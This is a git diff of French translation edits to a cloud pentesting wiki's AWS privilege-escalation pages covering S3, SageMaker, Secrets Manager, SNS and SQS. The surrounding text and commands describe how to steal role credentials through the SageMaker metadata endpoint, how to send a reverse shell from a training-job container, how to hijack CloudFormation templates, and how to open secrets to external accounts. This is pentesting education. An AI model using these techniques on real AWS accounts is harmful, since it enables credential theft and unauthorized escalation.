Vérifiez [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
-## References
+## Références
- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
index 51823bacf..0c6890f61 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
@@ -34,7 +34,7 @@ Par exemple, un attaquant ayant ces **permissions sur un bucket cloudformation**
]
}
```
-Et le détournement est possible car il y a une **petite fenêtre de temps entre le moment où le modèle est téléchargé** dans le bucket et le moment où le **modèle est déployé**. Un attaquant pourrait simplement créer une **fonction lambda** dans son compte qui **se déclenche lorsqu'une notification de bucket est envoyée**, et **détourne** le **contenu** de ce **bucket**.
+Et le détournement est possible car il y a une **petite fenêtre de temps entre le moment où le modèle est téléchargé** dans le bucket et le moment où le **modèle est déployé**. Un attaquant pourrait simplement créer une **lambda function** dans son compte qui sera **déclenchée lorsqu'une notification de bucket est envoyée**, et **détourner** le **contenu** de ce **bucket**.
.png>)
@@ -43,9 +43,9 @@ Pour plus d'informations, consultez la recherche originale : [https://rhinosecur
### `s3:PutObject`, `s3:GetObject`
-Ce sont les permissions pour **obtenir et télécharger des objets sur S3**. Plusieurs services à l'intérieur d'AWS (et en dehors) utilisent le stockage S3 pour stocker des **fichiers de configuration**.\
+Ce sont les permissions pour **obtenir et télécharger des objets dans S3**. Plusieurs services à l'intérieur d'AWS (et en dehors) utilisent le stockage S3 pour stocker des **fichiers de configuration**.\
Un attaquant avec un **accès en lecture** à ceux-ci pourrait trouver des **informations sensibles**.\
-Un attaquant avec un **accès en écriture** à ceux-ci pourrait **modifier les données pour abuser d'un service et essayer d'escalader les privilèges**.\
+Un attaquant avec un **accès en écriture** pourrait **modifier les données pour abuser d'un service et essayer d'escalader les privilèges**.\
Voici quelques exemples :
- Si une instance EC2 stocke les **données utilisateur dans un bucket S3**, un attaquant pourrait les modifier pour **exécuter du code arbitraire à l'intérieur de l'instance EC2**.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
index 4c3091a56..6ca9104ee 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
@@ -6,7 +6,7 @@
### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
-Commencez à créer un notebook avec le rôle IAM auquel il est attaché :
+Commencez à créer un notebook avec le rôle IAM qui y est attaché :
```bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
@@ -25,7 +25,7 @@ Maintenant, il est possible d'accéder aux informations d'identification des mé
### `sagemaker:CreatePresignedNotebookInstanceUrl`
-S'il y a des **notebooks Jupyter déjà en cours d'exécution** dessus et que vous pouvez les lister avec `sagemaker:ListNotebookInstances` (ou les découvrir de toute autre manière). Vous pouvez **générer une URL pour eux, y accéder et voler les informations d'identification comme indiqué dans la technique précédente**.
+S'il y a des Jupyter **notebooks déjà en cours d'exécution** dessus et que vous pouvez les lister avec `sagemaker:ListNotebookInstances` (ou les découvrir de toute autre manière). Vous pouvez **générer une URL pour eux, y accéder et voler les informations d'identification comme indiqué dans la technique précédente**.
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name
```
@@ -49,7 +49,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
-Un attaquant avec ces permissions sera capable de créer un job d'entraînement, **exécutant un conteneur arbitraire** dessus avec un **rôle attaché**. Par conséquent, l'attaquant pourra voler les identifiants du rôle.
+Un attaquant avec ces permissions sera capable de créer un job d'entraînement, **exécutant un conteneur arbitraire** avec un **rôle attaché**. Par conséquent, l'attaquant pourra voler les identifiants du rôle.
> [!WARNING]
> Ce scénario est plus difficile à exploiter que le précédent car vous devez générer une image Docker qui enverra le rev shell ou les identifiants directement à l'attaquant (vous ne pouvez pas indiquer une commande de démarrage dans la configuration du job d'entraînement).
@@ -94,7 +94,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
-Un attaquant avec ces permissions pourra (potentiellement) créer un **travail d'entraînement d'hyperparamètres**, **exécutant un conteneur arbitraire** dessus avec un **rôle attaché**.\
+Un attaquant avec ces permissions pourra (potentiellement) créer un **hyperparameter training job**, **exécutant un conteneur arbitraire** avec un **rôle attaché**.\
NAN;_I n'ai pas exploité en raison du manque de temps, mais cela ressemble aux exploits précédents, n'hésitez pas à envoyer une PR avec les détails de l'exploitation._
## Références
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
index cc34314b7..dee0ede1f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
@@ -12,21 +12,21 @@ Pour plus d'informations sur le gestionnaire de secrets, consultez :
### `secretsmanager:GetSecretValue`
-Un attaquant ayant cette autorisation peut obtenir la **valeur enregistrée à l'intérieur d'un secret** dans AWS **Secretsmanager**.
+Un attaquant ayant cette permission peut obtenir la **valeur enregistrée à l'intérieur d'un secret** dans AWS **Secretsmanager**.
```bash
aws secretsmanager get-secret-value --secret-id # Get value
```
-**Impact potentiel :** Accéder à des données hautement sensibles dans le service AWS Secrets Manager.
+**Impact potentiel :** Accéder à des données très sensibles dans le service AWS Secrets Manager.
### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
-Avec les autorisations précédentes, il est possible de **donner accès à d'autres principaux/comptes (même externes)** pour accéder au **secret**. Notez que pour **lire les secrets chiffrés** avec une clé KMS, l'utilisateur doit également avoir **accès à la clé KMS** (plus d'infos sur la [page d'énumération KMS](../aws-services/aws-kms-enum.md)).
+Avec les autorisations précédentes, il est possible de **donner accès à d'autres principaux/comptes (même externes)** pour accéder au **secret**. Notez que pour **lire les secrets chiffrés** avec une clé KMS, l'utilisateur doit également avoir **accès à la clé KMS** (plus d'infos sur la [page KMS Enum](../aws-services/aws-kms-enum.md)).
```bash
aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id
aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json
```
-policy.json:
+policy.json :
```json
{
"Version": "2012-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
index fe9d00184..e6184179b 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
### `sns:Publish`
-Un attaquant pourrait envoyer des messages malveillants ou indésirables au sujet SNS, ce qui pourrait entraîner une corruption des données, déclencher des actions non intentionnelles ou épuiser les ressources.
+Un attaquant pourrait envoyer des messages malveillants ou indésirables au sujet SNS, ce qui pourrait entraîner une corruption des données, déclencher des actions non intentionnelles ou épuiser des ressources.
```bash
aws sns publish --topic-arn --message
```
@@ -28,7 +28,7 @@ aws sns subscribe --topic-arn --protocol --endpoint
### `sns:AddPermission`
-Un attaquant pourrait accorder à des utilisateurs ou services non autorisés l'accès à un sujet SNS, obtenant potentiellement des autorisations supplémentaires.
+Un attaquant pourrait accorder à des utilisateurs ou services non autorisés l'accès à un sujet SNS, obtenant potentiellement d'autres autorisations.
```css
aws sns add-permission --topic-arn --label --aws-account-id --action-name
```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
index 931f124a4..9bc26de33 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
@@ -18,9 +18,9 @@ cssCopy codeaws sqs add-permission --queue-url --actions --aws-a
```
**Impact potentiel** : Accès non autorisé à la file d'attente, exposition de messages ou manipulation de la file d'attente par des utilisateurs ou services non autorisés.
-### `sqs:SendMessage` , `sqs:SendMessageBatch`
+### `sqs:SendMessage`, `sqs:SendMessageBatch`
-Un attaquant pourrait envoyer des messages malveillants ou indésirables à la file d'attente SQS, provoquant potentiellement une corruption des données, déclenchant des actions non intentionnelles ou épuisant les ressources.
+Un attaquant pourrait envoyer des messages malveillants ou indésirables à la file d'attente SQS, ce qui pourrait entraîner une corruption des données, déclencher des actions non intentionnelles ou épuiser les ressources.
```bash
aws sqs send-message --queue-url --message-body
aws sqs send-message-batch --queue-url --entries
@@ -29,7 +29,7 @@ aws sqs send-message-batch --queue-url --entries
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-Un attaquant pourrait recevoir, supprimer ou modifier la visibilité des messages dans une file d'attente SQS, entraînant une perte de messages, une corruption de données ou une interruption de service pour les applications s'appuyant sur ces messages.
+Un attaquant pourrait recevoir, supprimer ou modifier la visibilité des messages dans une file SQS, entraînant une perte de messages, une corruption de données ou une interruption de service pour les applications s'appuyant sur ces messages.
```bash
aws sqs receive-message --queue-url
aws sqs delete-message --queue-url